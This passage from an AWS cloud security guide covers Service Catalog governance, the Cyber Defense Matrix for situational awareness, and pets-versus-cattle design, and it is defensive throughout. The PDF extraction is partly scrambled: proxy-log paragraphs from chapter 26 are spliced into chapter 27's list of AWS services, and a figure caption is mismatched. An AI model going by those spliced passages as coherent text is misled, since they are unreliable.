software? • How do they manage access? Prioritizing Security Controls in AWSOrganizations should utilize Private Marketplace as part of AWS Marketplace to create their own curated list of software solutions from their preferred vendors. Private Marketplace can help IT and security teams do the following: • View all available products in the AWS Marketplace catalog • Add products to a private marketplace from public AWS Marketplace • View approved and declined products in a private marketplace • Remove products from a private marketplace Security tools can be curated into their private marketplaces so they can be deployed automatically into AWS resources. When a development team launches a new web application, their CI/CD pipeline should include a deployment mechanism (e.g., CloudFormation templates) to install a WAF in front of the applications for protection. They can also choose to deploy a log management solution from their private marketplace for monitoring of the applications at launch. IT service management should have a security strategy built-in Virtually almost all enterprise organizations have an IT service management (ITSM) process defined. With cloud adoption, their ITSM should adapt to the new landscape. As now users can spin up an Amazon EC2 instance within seconds, waiting for IT support to log in to install required workload protection tools is no longer practical and scalable. More and more organizations have developed a new self-service ITSM strategy. They also focus on cloud engineering to build pre-configured services, such as EC2, with security tools hooked in according to their security policies. When a user launches an EC2 instance, it’s not launched from any publicly available AMI images but rather a private “golden” image, which meets all the company’s IT and security requirements. IT should adopt automated provisioning of resources to increase developer and business user velocity by providing the right services to the right teams, and enabling them to self-serve and provision. Cloud engineering teams can organize, tag, control, and distribute the products—pre-approving them for users. There are different types of users who require different levels of permissions. Developers want to build quickly with minimal friction. IT should provide them with governed, well-architected products 331so they can self-serve and innovate. Business users, like data scientists and marketing managers, want an easy way to get the resources they need, without the need for advanced understanding about all of AWS services. For example, data scientists may want to spin up just Amazon SageMaker to do machine learning, and marketing may want WordPress microsites. IT can pre-package IT services into products they can deploy on-demand securely. With Service Catalog, IT can pre-define and pre-approve products that end users can launch in a few clicks, speeding up their work. The products offered in Service Catalog can be native AWS services or third-party tools from the company’s private marketplaces. Security teams can either enforce guardrails (e.g., configurations or security tools), or provide advice and guidance to users with the use of resources on AWS. By utilizing Service Catalog, organizations can balance between security and speed as illustrated below. Prioritizing Security Controls in AWS About the Author Nam Le focuses on security and governance with close to 20 years of experience in consulting, sales, and engineering. He specializes in AWS Control Tower, AWS Service Catalog, AWS Marketplace, and AWS Data Exchange. As an AWS Marketplace Solutions Architect, he also works with AWS partners to build and deliver best-practices solutions to customers. Outside of work, he enjoys biking, car building, travel photography, and spending time with family.Summary The art of balancing between security and ease-of-use has always been a challenge for IT professionals, especially with security experts, and cloud migration is no exception. The days when everything had to go through the security team for manual intervention have passed. DevSecOps is a fast-growing practice, but it solves only certain pieces of the puzzle. Organizations should look beyond single tools, services, and procedures to cover all security aspects while minimizing friction on their users. Organizations should adopt effective governance and management strategies and tools to effectively enable their business to grow while maintaining their security policies. Combinations of services, such as Control Tower and AWS Marketplace, integrated with standard ITSM tools, such as Jira, can help empower end users. This approach will enable them to efficiently and securely use AWS resources for business while operating a least-privilege architecture. 333 Prioritizing Security Controls in AWS Prioritizing Security Controls in AWSConclusion“One of the primary goals of cybersecurity is to mitigate the loss or compromise of our assets. Foundational to this goal is having better visibility and context: if we can understand the state or behavior of our assets, and know how threats might be evading our controls, we have situational awareness. With higher levels of situational awareness, we can deploy resources more effectively to prevent, detect, and respond to security incidents. However, often we are challenged in our ability to consistently attain the necessary levels of awareness that we need to achieve this. This chapter provides an approach for systematically and methodically improving situational awareness using a framework called the Cyber Defense Matrix. Through the Cyber Defense Matrix, we can prioritize the security controls that we need to gain better visibility and context to achieve the situational awareness that we need.”Sounil Yu Creator of the Cyber Defense Matrix Chapter 26: How to Prioritize Security Controls for Better Visibility and Context in AWS 335Understanding Situational Awareness A commonly accepted definition of Situational Awareness comes from Mica Endsley’s classic paper on Situation Awareness Theory.¹ She defines it as “the perception of the elements in the environment within a volume of time and space, the comprehension of their meaning, and the projection of their status in the near future.” Based on this definition, there are three key prerequisites that determine the level of situational awareness we can achieve: visibility, perception, and comprehension. To attain higher levels of situational awareness, we must overcome challenges in each of these areas: Faulty Visibility: To perceive and then comprehend something, we have to be able to see it. Oftentimes, we don’t have the visibility that we need. Faulty Perception: Just because it is possible to see something does not mean that we are consciously aware of it. Information overload is a common cause for having faulty perception (i.e., a failure to notice what is right in front of us). Faulty Comprehension: Even if we see and perceive something, we might not correctly comprehend what we are looking at. To achieve higher levels of situational awareness, we often need to piece together several core elements of a puzzle to complete the picture and project what may happen if we do not take action. 1 Endsley, M. R. (1995). Toward a theory of situation awareness in dynamic systems. Human Factors, 37(1), 32-64. Prioritizing Security Controls in AWSConclusionHere is an example using web proxy traffic to explain the concepts of visibility, perception, comprehension, and projection. Figure 1 is an output from a forward web proxy that captures outbound web traffic. We get visibility from the log itself. If logging is not enabled, we lack visibility altogether. Alternatively, our visibility might be faulty if logs are truncated, as shown in Figure 2. Finally, we may have incomplete visibility if only having a subset of our outbound Internet traffic going through a forward web proxy, or if logging is not enabled. Assuming logging is enabled and that all traffic is captured, the logs will not really mean anything to us until we can perceive their important elements. Figure 3 provides examples of elements in the logs that might be important. These elements could be discovered through pattern matching rules or filters, and these rules and filters will require constant tuning (ideally by those who have to deal with the corresponding output of those rules).Figure 1: Visibility - Web Proxy Log Figure 2: Truncated Visibility – Web Proxy Log 337If those rules are not well-tuned, we might miss some key bits of important information, such as mozilla spelled with a zero instead of the letter “o”. Or we might misinterpret a log and perceive something to be malicious when, in fact, it is the opposite, as shown in Figure 4. Finally, to comprehend what is going on, we take what we can see and perceive, and then enrich this with other information, such as threat intelligence. Threat intelligence vendors provide visibility on threat actor assets. We can use threat intelligence feeds to find matches in our proxy logs against website domains that are potentially malicious (e.g., evil.com) and may have been visited by employees. If we have faulty visibility or faulty perception due to poorly configured filters and rules, we may decide to block traffic incorrectly (e.g., findevil.com) or completely miss suspect sites (e.g., m0zilla.com). Once we have comprehension, the next level of situational awareness enables us to project what may happen next if we do not take any action (e.g., lateral movement). This stage of situational awareness informs what course of action we should take, e.g., block malicious/suspect domains and investigate endpoints that visited those domains.Figure 3: Perception - Finding Evil Figure 4: Faulty Perception Prioritizing Security Controls in AWSConclusionSeeing Through Blind Spots with Frameworks Gaps or faults in visibility, perception, or comprehension will hinder us from attaining situational awareness, especially when we have blind spots, but do not even know when we have them. Frameworks are helpful to address this problem by providing a structure we can use to reason through our challenges and work out how to gain higher levels of situational awareness where it matters the most. To understand what constitutes completeness and track progress towards reaching it, we can use frameworks, such as the NIST Cybersecurity Framework² shown in Figure 5. Frameworks give us a way to systematically think through where we need visibility, what parts of that visibility we should focus on, and how we should connect the dots to improve our comprehension. We can then fill in our blind spots based on gaps we discover in our awareness. The specific framework we will cover in this whitepaper is the Cyber Defense Matrix,³ shown in Figure 6. The Cyber Defense Matrix adapts the NIST Cybersecurity Framework by adding a dimension that captures five key classes of assets that we care about. These are: devices, applications, networks, data, and users. This added dimension will help us improve our ability to find and fill gaps in our situational awareness. 2NIST Cybersecurity Framework, https://www.nist.gov/cyberframework. 3More information about the Cyber Defense Matrix can be found at https://cyberdefensematrix.com.Figure 5: Leveraging Frameworks to Improve Situational Awareness 339This additional dimension does not increase the scope of what we may have to look it, which would exacerbate information overload. Instead, the Cyber Defense Matrix reduces information overload because it helps us organize information so that we can methodically and systematically go through it, one at a time, and target specific information that we need as we try to elevate our situational awareness. We can deal with information overload by organizing, consuming, and understanding these data sets in this structured way, one step at a time. Structural vs Situational Awareness To properly leverage the Cyber Defense Matrix, we first need to refine our terminology and improve our understanding of each of the functions of the NIST Cybersecurity Framework. Let us start by understanding the difference between Situational Awareness and Structural Awareness. These two types of awareness are separated by whether they happen before or after a moment of “boom,” which is an event that happens between PROTECT and DETECT, as shown in Figure 7.Figure 6: Cyber Defense Matrix Prioritizing Security Controls in AWSConclusionOn the left of “boom,” we have structural awareness of our environment. Most of our visibility supporting structural awareness comes from various technologies that perform the functions of IDENTIFY and PROTECT. These include network firewalls, web application firewalls, and vulnerability scanners.⁴ The following activities contribute to structural awareness: • Understanding our valuable assets and their identity attributes • Enumerating known structural weaknesses in those assets • Capturing interactions with our assets • And understanding the overall threat landscape On the right side of boom, we want to establish, increase, and act on situational awareness. We want to DETECT if any vulnerabilities, known or unknown, have been exploited and against which assets by performing the following activities: • Monitoring unexpected state or behavioral changes 4 Activities like vulnerability scanning are on the left side of boom under the function of IDENTIFY, because when we scan for vulnerabilities, we are looking for known structural weaknesses. This is in contrast with the NIST Cybersecurity Framework mapping, which incorrectly puts vulnerability scanning (DE.CM-8) under DETECT.Figure 7: Left and Right of Boom - Structural vs Situational Awareness 341• Looking for evidence of vulnerability exploitation • investigating the cause of changes, and • Assessing the extent and severity of impacted assets The types of DETECT technologies that support situational awareness include log collection and analysis tools and Security Information and Event Management (SIEM) products. These can help us handle large volumes of telemetry to quickly improve our perception and support comprehension. The Cyber Defense Matrix suggests that as we move to the right side of boom, there is an increasing degree of dependency on people, which we must not ignore. In reaching higher levels of situational awareness, there is a fundamental limit to what technology can do out of the box, particularly when human adversaries are deliberately trying to evade technology-centric controls. As such, regular tuning of filters and rules – and review of the corresponding output – is an important activity that we need to rely on people to do. The asset-centric dimensionality that the Cyber Defense Matrix adds to the NIST Cybersecurity Framework helps us to explicitly recognize our scope of opportunity to establish structural and situational awareness. Suppose we want to focus on something happening on the network, as shown on Figure 8. On the left side of boom, we would want to establish structural awareness of our communications paths, including the following: • Business-to-Business (B2B) links, • Virtual Private Network (VPN) connections • Where we have our network firewalls • Where we might have exposures (e.g., any-any firewall rules), and • What parts of our network are the most important or sensitive to the business On the right side of boom, we want to establish network-centric situational awareness by using the visibility that we have on the left side of boom to perceive unusual changes, interactions, or communication patterns on the network. However, establishing structural and situational awareness of the network may not be enough if we are trying to find network intrusions in our environment with a Prioritizing Security Controls in AWSConclusionhigh degree of precision and accuracy. We may need additional visibility to increase our level of network- centric situational awareness. Figure 8: Network-Centric Structural and Situational Awareness Environmental and Contextual Awareness To gain higher levels of network-centric situational awareness, we can look for insights from other assets, such as our endpoints, applications, databases, and users. As shown in Figure 9, the Cyber Defense Matrix helps us define two additional types of awareness that we can get from these other assets: environmental and contextual. For network-centric environmental awareness, we want to know what is on the network and the state of those assets, similar to structural awareness. To that end, we want to ask the following questions: • What devices, applications, data, and users are on the network? • What are the upstream and downstream dependencies and interactions among those assets? • Do those assets have weaknesses of their own which can be used to harm the network or pose danger to it? • Are those weaknesses being monitored or addressed? 343For network-centric contextual awareness, we want to understand what is happening around our network by observing suspicious assets that interact with our network. To that end, we want to ask the following questions: • Has the state of devices, applications, data, or users on the network changed recently? • What is the current behavior of those assets and how is it changing? • What are the causes of those changes? • Have those assets become compromised and untrustworthy? Figure 9: Network-Centric Environmental and Contextual Awareness Prioritizing Security Controls in AWSConclusionFigure 11: Full Spectrum User-Centric Situational Awareness This full spectrum view combines structural awareness of the network with the environmental and contextual awareness from other asset classes, and thereby provides a way to systematically and methodically elevate our situational awareness, as shown in Figure 10. This example has used the network as the center point, but we can easily shift the center point to a different asset class. For example, if we are looking for insider threat, we would focus on the asset class of “User,” as shown in Figure 11. Figure 10: Full Spectrum Network-Centric Situational Awareness 345Here, we want to have structural awareness of the person, such as their position, their access privileges, and their vulnerabilities as discovered through background checks and phishing simulations. When we move to the right side of boom based on suspicious behaviors by the person, most insider threat programs will typically seek to achieve much higher levels of situational awareness by attaining a significant amount of environmental and contextual awareness to ensure that the right decision is made about an individual before a response action is taken. Putting It to Practice: Example 1 – Endpoint Compromise The example of an endpoint compromise, as shown in Figure 12, shows us where these different types of awareness come into play. Stepping through the sequence of discoveries, let us suppose we discover some endpoint behaving oddly (Box 1). The first step is to gain structural awareness of that endpoint (Box 2). If we find that the endpoint is fully patched, locked down, with 2FA enabled, then there is nothing structurally here to why this endpoint might be acting oddly.Figure 12: Endpoint Compromise Example Prioritizing Security Controls in AWSConclusionThis example shows how the Cyber Defense Matrix helps us to know where we need visibility, what to look for or perceive in that visibility, and how to connect the dots to comprehend what we perceive. Putting It to Practice: Example 2 – Data Leak Again, we start on the right side of boom with a DLP alert (Box 1), as shown in Figure 13. We try to gain structural awareness, but we cannot because the data is encrypted (Box 2). So again, we have to look elsewhere. Where should we look? The Cyber Defense Matrix gives us options.Figure 13: Data Leak Example This means we need to gain wider environmental awareness. What we may discover is that the user of that endpoint has a vulnerability (Box 3). Specifically, the user failed the most recent phishing simulation test. Furthermore, the user has not completed their phishing training and awareness program, so the user remains vulnerable. This should prompt us to seek out contextual awareness to see if the user may have recently clicked on a real phishing email (Box 4). If they did, this insight would increase our situational awareness sufficiently to understand what events that led up to an endpoint compromise. 347We can get contextual awareness by looking at other events that might be happening. By looking at network flows, we see a machine is sending a gigabyte of traffic to China on an hourly basis (Box 3). We can get environmental awareness by looking at this network path and seeing that a B2B connection was recently established with a Chinese manufacturing plant that we are doing business with (Box 4). We can seek out further environmental awareness by looking at the endpoints of that B2B connection using an endpoint management tool to find a server that houses sensitive blueprints for a new product (Box 5). Getting contextual awareness for that server, we find no unusual logins or interactions (Box 6). For another confirmation check, we get more environmental awareness by seeing that the normal user of that server is an employee that’s aligned to the new China project (Box 7). Joining this together, we have higher levels of situational awareness that provide reinforcing information that this activity is probably normal business activity. However, if we are risk averse and needed further confirmation through even higher levels of situational awareness, the framework helps us focus in on areas where we could continue to investigate. For example, with phishing simulation tool, we could get structural awareness of the user’s phishing resistance levels (Box 7) and contextual awareness of the user’s history to see if they have ever been successfully phished (Box 8). The Cyber Defense Matrix helps us reason through and decide what types of information are relevant to achieving higher levels of situational awareness. About the Author Sounil Yu is a security innovator with 30+ years of hands-on experience creating, breaking, and fixing computer and network systems. He is the creator of the Cyber Defense Matrix and the DIE Resiliency Framework; serves as on the Board of Directors for the FAIR Institute and SCVX Corp; and co-chairs Art into Science: A Conference on Defense. He previously served as the Chief Security Scientist at Bank of America, leading a cross-functional team focused on driving innovation and a thriving startup culture to meet emerging cybersecurity needs, to serve as a challenge function, and to be a change agent driving unconventional thinking and alternative approaches to hard problems in security. Sounil also has 22 patents across a wide range of cybersecurity and technology topics and serves as an advisor to many startups across the cybersecurity industry. Prioritizing Security Controls in AWSConclusionSummary The Cyber Defense Matrix helps us organize and systematically obtain the necessary levels of situational, structural, contextual, and environmental awareness to help mitigate the loss or compromise of important assets. Using the Cyber Defense Matrix, we can navigate an orderly path for conducting investigations as we try to comprehend what happened when an event or incident occurs. We first start with the asset class where something happened. Within that asset class, we seek structural awareness next. How important is it? What are its known vulnerabilities? What is its expected behavior? What else does it normally interact with? Then, we seek out environmental awareness of those things that interact with it. From there, we shift to gain contextual awareness of those other assets. At each step, we are increasing our situational awareness to a point where we feel comfortable that we have a sufficient amount of understanding to project what will happen next and take the appropriate courses of action. By combining these three types of awareness (structural, environmental, and contextual), we can increase our overall level of situational awareness so that we can thoroughly answer the who, what, when, where, and how questions that we often get when an incident occurs. Nevertheless, during an incident, there are going to be times when we do not have sufficient visibility in places where we really would like to have it. As John Allspaw once said, we need to use yesterday’s incidents to inform future architectures and rules . The Cyber Defense Matrix gives us a way to systematically think about and communicate the optionality and opportunities we have to proactively improve our visibility, perception, and comprehension to achieve the levels of situational awareness that we need to secure our environments.5 5John Allspaw, How Your Systems Keep Running Day After Day, DevOps Enterprise Summit, April 30, 2018, https://itrevolution. com/john-allspaw-how-your-systems-keep-running-day-after-day/. 349“In this chapter, readers will understand why public cloud brings forth a wide array of new capabilities, but also new security considerations. Fortunately, these can be addressed through tools available both natively within AWS and through the AWS Marketplace. In addition, this whitepaper shows how security practitioners can prioritize which controls are most needed through a framework-based approach and by understanding whether we are dealing with “pets” or “cattle”. Through the framework of the Cyber Defense Matrix, we can quickly and easily find the relevant AWS native and AWS Marketplace tools to help us to better secure our most sensitive data and applications (our “pets”).”Sounil Yu Creator of the Cyber Defense Matrix Chapter 27: How to Prioritize Security Controls for Sensitive Data and Applications in AWS Prioritizing Security Controls in AWS Prioritizing Security Controls in AWSConclusionCloud as a New Operating Model Amazon Web Services (AWS) has brought forth a fundamentally different model for how we build, operate, and secure IT infrastructure and applications. Three key aspects make the cloud radically different. Highly Configurable: Everything can be defined programmatically and tailored to meet a wide variety of needs. Comprehensive and Interoperable Features and Services: A wide array of on-demand features and services can be mixed and matched, each also highly configurable. Centralized and Consolidated: Cloud environments can simplify operations and management while offering tremendous economies of scale. However, these qualities impart new considerations when it comes to managing our security posture in AWS. These include the following: • Configuration Errors: Because everything is highly configurable, we can be prone to errors that create unintended exposures and vulnerabilities, such as overly permissive access to sensitive resources. • Cloud Sprawl: AWS regularly rolls out new capabilities and services, but this can create many more individual resources that need to be tracked, including microservices, containers, and serverless AWS Lambda functions. With each resource having its own configuration, the potential for a configuration error grows exponentially. • Eroding Network Perimeter: With everything being in the same logical locations, network- centric boundaries are not as applicable. Instead of just relying solely on a network-centric identity, AWS forces us to consider other forms of identity and access management (IAM), such as API keys and other IAM credentials, that are not strictly network-centric. The flexibility and scale we have in AWS also means that we can make mistakes at scale too. With thousands of distinct resources that need to be tracked, properly configured, and free of vulnerabilities, how can we be certain that those who set up those services did it properly? Now take all this and put it into an environment where everything is commingled together, and we can see how an incorrect misconfiguration or exposed vulnerability needs to be found and addressed quickly. 351It is also no wonder that Gartner reports that “Nearly all successful attacks on cloud services are the result of customer misconfiguration, mismanagement, and mistakes.”¹ As such, it is imperative that we maintain and enforce the correct configuration throughout our environment; keep track of what resources we actually have and are using; discover and mitigate vulnerabilities; and efficiently manage secrets and IAM credentials. Potential Solutions Fortunately, AWS also gives us new ways to tackle these security needs and at scale with native and third-party tools that help us to do the following: • Prevent misconfigurations and vulnerabilities as things are being built, • Provide extensive visibility into your running cloud environment, • Analyze that visibility to find misconfigurations and vulnerabilities in production, • And fix and patch them before they are exploited. If we wish to address these security needs on our own, one or more of the following AWS native capabilities can be put to use: • AWS Config: assess, audit, and evaluate the configurations of AWS resources, • AWS Trusted Advisor: guide the provisioning of resources following AWS best practices, • AWS Well-Architected Tool: review the state of workloads and compare them to the latest AWS architectural best practices, If logging is not enabled, we lack visibility altogether. Alternatively, our visibility might be faulty if logs are truncated, as shown in Figure 2. Finally, we may have incomplete visibility if only having a subset of our outbound Internet traffic going through a forward web proxy, or if logging is not enabled. Assuming logging is enabled and that all traffic is captured, the logs will not really mean anything to us until we can perceive their important elements. Figure 3 provides examples of elements in the logs 1 Endsley, M. R. (1995). Toward a theory of situation awareness in dynamic systems. Human Factors, 37(1), 32-64. Prioritizing Security Controls in AWSConclusionthat might be important. These elements could be discovered through pattern matching rules or filters, and these rules and filters will require constant tuning (ideally by those who have to deal with the corresponding output of those rules). • AWS Systems Manager: understand and control the current state of your resource groups, • AWS Security Hub: view high-priority security alerts and security posture across AWS accounts, • Amazon Macie: inventory and classify sensitive data in AWS storage buckets. If those rules are not well-tuned, we might miss some key bits of important information, such as mozilla spelled with a zero instead of the letter “o”. Or we might misinterpret a log and perceive something to be malicious when, in fact, it is the opposite, as shown in Figure 4. We can also leverage AWS Marketplace independent software vendors (ISVs) who provide ready-to- use solutions to tackle these security needs. There are two primary classes of cloud security tools that provide protective capabilities for cloud service providers, such as AWS. As defined by Gartner, they include capabilities such as Cloud Security Posture Management (CSPM) and Cloud Workload Protection Platforms (CWPP). To understand the differences between CSPM and CWPP, it is helpful to look at frameworks to understand how they relate to each other. The Cyber Defense Matrix is one such framework that can help us understand the differences and ensure that we are addressing the complete set of security needs in the cloud. A Framework for Understanding Options for Cloud Security The Cyber Defense Matrix, as shown in Figure 1, is an adaptation of the NIST Cybersecurity Framework, but with an added dimension that captures various classes of assets that we care about. These assets are devices, applications, networks, data, and users. This added dimension will help us improve our ability to find and fill gaps in our understanding of completeness when it comes to managing our cloud security posture. 353Each asset class in the Cyber Defense Matrix represents resources that needs to be protected in cloud environments. For the purposes of this whitepaper, we will focus primarily on the left side of “boom” of the Cyber Defense Matrix. “Boom” is the point between PROTECT and DETECT where some event occurs. We want to look at a range of cloud security solutions that allow us to avoid a “boom” scenario at all. The Cyber Defense Matrix provides a systematic approach for evaluating threats against each type of resource and considering controls that help mitigate any vulnerabilities associated with those resources. The types of assets listed on the left of the matrix are generically defined, but these classes of assets are represented in cloud environments, albeit some with different labels. For AWS in particular, these resources can be described with labels such as Amazon EC2 instances for DEVICES or Amazon S3 Buckets for Data. While there may be some overlapping features, CSPM and CWPP generally address different types of assets, as shown in Figure 2. Specifically, CSPM typically secures the configuration of the underlying infrastructure, such as storage buckets (Data), IAM roles (Users), and network security groups (Networks). CWPP typically secures the operating system (Devices). Both CSPM and CWPP have roles in security applications, with CSPM securing PaaS and serverless while CWPP secures containers.Figure 1: Cyber Defense Matrix Prioritizing Security Controls in AWSConclusion The Cyber Defense Matrix provides pattern matching opportunities to understand the extent to which these capabilities meet various security needs and to find potential gaps. Figure 3 provides a more detailed breakdown of how capabilities map to different need areas for cloud security under the functions of IDENTIFY and PROTECT. Figure 2: Mapping CWPP and CSPM to the Cyber Defense Matrix Figure 3: Breakdown of Capabilities to Support Cloud Security Needs 355The sub-functions of IDENTIFY capture security requirements that are often described as “visibility”, but this type of breakdown ensures that when we use the word “visibility”, we can be more precise in terms of the type of visibility that we desire. This can include visibility into what we have (inventory), how important it is to us (classification), and whether or not it has any exposures that we should be concerned about (vulnerability assessment). These sub-functions manifest differently across each asset domain, typically using words that specific to that domain, but the sub-function generally remains the same. For example, when it comes to the function of inventory, this can include activities such as asset management (devices), headcount (users), and route discovery (networks). When it comes to vulnerability assessments, this can include the discovery of various types of vulnerabilities, such as misconfigured storage buckets, operating system vulnerabilities, and users susceptible to phishing attacks. For PROTECT, there are also many specific sub-functions, including access control, patching, exploit mitigation, audit logging, blacklisting, whitelisting, hardening, segmentation, integrity monitoring, and many others. These manifest differently for each asset domain as well. If capabilities to perform these functions are not available directly from the cloud provider, we can often find the capabilities available through ISVs. The Cyber Defense Matrix can continue to be used to map those ISVs as well to gain an understanding of security control coverage across all types of assets in the cloud. Approaches for Securing Pets vs. Cattle How we prioritize security controls may differ depending upon whether we are dealing with “pets” or “cattle.” The notion of “pets” vs. “cattle” was popularized by Randy Bias and has gained adoption in the cloud-native world, but let’s first make sure we all understand what are pets and what are cattle. Pets are assets to which we give names that we can remember and pronounce. When it gets sick, we take it to the vet and we like giving it hugs. Pets are like our personal laptops or that server under our desk or our social security number. Cattle on the other hand are branded with an obscure string of letters and numbers, which we cannot pronounce and we do not really care to remember. And when it gets sick, it gets culled from the herd. Cattle are like containers and serverless functions and credit card numbers that change with every transaction. This understanding of pets and cattle is important because the approach that we take for securing pets is very different than the approach that we take for securing cattle. Before AWS, we traditionally built pets. They are hard to manage. They take up a lot of time and resources. And they get run over often, requiring a lot of manpower to get them healthy again. Prioritizing Security Controls in AWSConclusionSecuring pets take a lot of time and effort. But if you build systems to be more like cattle, securing them is substantially easier. Cloud-native security capabilities like CWPP and CSPM help reinforce the usage of design patterns that build infrastructure and applications like cattle instead of pets. Now we will always have pets. And we can put our pets in the cloud, but we have to make sure that we are protecting them accordingly, and so we need tools to secure them and to treat them well. The type of tools that we need can be broken down into the traditional CIA triad: confidentiality, integrity, and availability. As shown in Figure 4, there is a wide array of capabilities available natively within AWS (and in the AWS Marketplace) to help us do CIA for our pets. Figure 4: AWS Native Capabilities Aligned Against the CIA Triad 357In fact, there’s an extensive array of native capabilities mapped against the Cyber Defense Matrix, as shown in Figure 5, that we can use to secure our pets in the cloud. However, if we want to build cattle instead, we need to operate with a different paradigm and a different set of design principles. These design principles are: distributed, immutable, and ephemeral, as shown in Figure 6. These attributes confer security benefits, addressing some of the main challenges that we have had in security, but more interestingly, these attributes can actually counter the need for the CIA triad. If something is distributed, then why do we need any one asset to be available? If something is immutable, then why do we need to worry about its integrity? If something is highly ephemeral, then why do we need to worry about its confidentiality?Figure 5: AWS Native Security Capabilities Mapped to the Cyber Defense Matrix Prioritizing Security Controls in AWSConclusionHere too, AWS offers cloud-native capabilities that allow us to build with cattle like designs. For example, Amazon CloudFront helps us ensure that we can deliver services in a highly distributed fashion. AWS CloudFormation templates help ensure that things are built exactly to specifications in a repeatable and immutable way. And AWS Lambda provides a way to build applications based on very short-lived and ephemeral functions. And as shown in Figure 7, there are many more native capabilities that AWS offers that enable us to build systems to be more like cattle by adhering to the DIE design principles.Figure 6: Network-Centric Environmental and Contextual Awareness Figure 7: AWS Native Capabilities Mapped to the DIE Triad 359As much as we may want to build cattle-like systems, we have to recognize that we will always have pets. However, we should aim to have a minimal number of pets so that our security obligations can be addressed with the few cyber veterinarians that we have. Interestingly the distribution of pets and cattle shifts in ways that align with the Shared Responsibility Model. As shown in Figure 8, this model was intended to help customers understand that AWS will be responsible for security of the cloud, but customers are responsible for security in the cloud. Since AWS is responsible for security of the cloud, the underlying components that make up the cloud can be seen as “cattle” by AWS customers. Compute, storage, databases, networking, hardware, even whole regions and availability zones, at the macro level, they are all cattle. From the customer’s standpoint, they are disposable. They manifest the attributes of the DIE triad. However, as we move up to the part of the model where customers are responsible for security, we typically start seeing more pets. We should set a goal to try to keep them like cattle instead. Over time and with tools like CSPM and CWPP, we can start our journey towards higher levels of cloud- native maturity so that we end up with more cattle in the cloud and for the pets that we do have in the cloud, they are actually secure. Over the longer term, we should continue to make design decisions that aim to have our environment in the cloud be all cattle. Again, we will always have some pets, but such an explicit goal helps us make better design choices while minimizing the burdens that we would otherwise face if we ended up with too many pets. It may be possible to gauge the maturity of an organization’s Figure 8: AWS Shared Responsibility Model and Distribution of Pets and Cattle Prioritizing Security Controls in AWSConclusionadoption of the cloud based on the proportion of pets that we find, where more mature organizations will have fewer and fewer assets resembling pets and many more that look like cattle. Also, it is noteworthy that Customer Data sits at the top of this model. Customer data seems to resist being turned into cattle. But that may not be forever the case. A number of privacy-enhancing technologies (which ironically enough has the acronym PET) are emerging that allow us to turn customer data from pets into cattle. These tools include differential privacy, homomorphic encryption, multi- party computation, trusted execution environments, and federated learning. As shown in Figure 9, these approaches may point to the future of data security (and cloud security in general), where we are able to make data more like cattle so that we don’t even need to protect it at all, and we can instead let it DIE instead. Summary AWS brings many benefits that can propel business and innovation forward. As shown in the Shared Responsibility Model, while Amazon is responsible for security of AWS, the customer must not forget that they are responsible for security in AWS. If we are putting pets into the cloud, then we can meet our security obligations through the use of native AWS security capabilities and through commercial CWPP and CSPM offerings.Figure 9: The Future Path For Data and Cloud Security 361However, an alternative approach is to minimize the number of pets that we have to deal with. We should be conscious of when we are creating new pets and only resort to pet-like designs when a cattle- like design pattern is not available. We should discourage or disincentivize pet creation, and to the degree possible, encourage removal of pets when we can. Unfortunately, this can be a very emotional decision for the business and for the owner. Once we have a pet, we really do not want to lose it. As such, it is important that we encourage and incentivize cattle creation instead. We also want to prevent cattle from turning into pets. How does that happen? Well, if we make changes to that cattle, we violate the principle of immutability. Or we let it live longer than it needs to, we violate the principle of ephemerality. Exercising stringent pet controls also includes making people aware when they are about to adopt a pet. In the world of IT, we often do this unknowingly and accidentally. But going forward, we want to make owners more aware when they are about to adopt a pet. We want to present them with awareness that something that they are responsible for is turning into a pet. Before it becomes a full-fledged pet, they are asked to sign an adoption certificate where they promise to love, care for, and attend to, AND SECURE this pet for the rest of its life. We want owners to make wise decisions and understand their commitments before adopting new pets, because the future of security may rest more in controlling how many pets we have than how well we secure them. About the Author Sounil Yu is a security innovator with 30+ years of hands-on experience creating, breaking, and fixing computer and network systems. He is the creator of the Cyber Defense Matrix and the DIE Resiliency Framework; serves as on the Board of Directors for the FAIR Institute and SCVX Corp; and co-chairs Art into Science: A Conference on Defense. He previously served as the Chief Security Scientist at Bank of America, leading a cross-functional team focused on driving innovation and a thriving startup culture to meet emerging cybersecurity needs, to serve as a challenge function, and to be a change agent driving unconventional thinking and alternative approaches to hard problems in security. Sounil also has 22 patents across a wide range of cybersecurity and technology topics and serves as an advisor to many startups across the cybersecurity industry. Prioritizing Security Controls in AWS Conclusion 363 Improving Visibility, Threat Detection, and Investigationsin AWS The cloud operating model made available through cloud service providers has brought forth many benefits that can help propel business and innovation forward in ways that are safer and more secure than ever before. However, the safe and secure use of the cloud is dependent upon knowledgeable cybersecurity practitioners who strive to fully understand their portion of the Shared Responsibility Model, and remain vigilant to ensure that they are operating securing in the cloud. Cloud service providers deliver very reliable infrastructure components with a comprehensive set of security controls, but it is up to the customer to verify that they are configuring these controls correctly and performing the necessary security functions to ensure that everything that they put into the cloud is also secure. Throughout each chapter in the Practical Guide to AWS Cloud Security, we sought to give you guidance and practical advice that you need to become that knowledgeable cybersecurity practitioner. Whether you are laying the foundation or maturing an existing cloud security program, we hope that you are now better equipped to understand the breadth of what needs to be prioritized and secured when leveraging public cloud infrastructure. Our goal was also to provide you best practices that you can implement immediately for your organization’s cloud security program, but you will need to adapt it to your respective environment based on where you are in your cloud security journey. Not all the guidance provided here may apply to your present situation, and so how and when you use portions of this book will depend on where you are and where your organization wants to go. You will need to take our navigation tips and adapt them to the timing, processes, and business priorities of your organization.Sounil Yu Creator of the Cyber Defense Matrix ConclusionConclusion Improving Visibility, Threat Detection, and Investigationsin AWS364As you continue your cloud security journey, remember that what is covered here is a starting point and represents the accumulated knowledge of expert practitioners at a point in time. This space is rapidly evolving with new cloud services, new threats, and new vulnerabilities that emerge on a regular basis. So keep an eye out for new best practices and more optimal paths. If you discover them yourself, we encourage you to share what you know. Journey onward, bring friends with you, and leave the path better paved for everyone who follows! About the Author Sounil Yu is a security innovator with 30+ years of hands-on experience creating, breaking, and fixing computer and network systems. He is the creator of the Cyber Defense Matrix and the DIE Resiliency Framework; serves as on the Board of Directors for the FAIR Institute and SCVX Corp; and co-chairs Art into Science: A Conference on Defense. He previously served as the Chief Security Scientist at Bank of America, leading a cross-functional team focused on driving innovation and a thriving startup culture to meet emerging cybersecurity needs, to serve as a challenge function, and to be a change agent driving unconventional thinking and alternative approaches to hard problems in security. Sounil also has 22 patents across a wide range of cybersecurity and technology topics and serves as an advisor to many startups across the cybersecurity industry. Improving Visibility, Threat Detection, and Investigationsin AWSConclusion 365 Frank Kim SANS Faculty 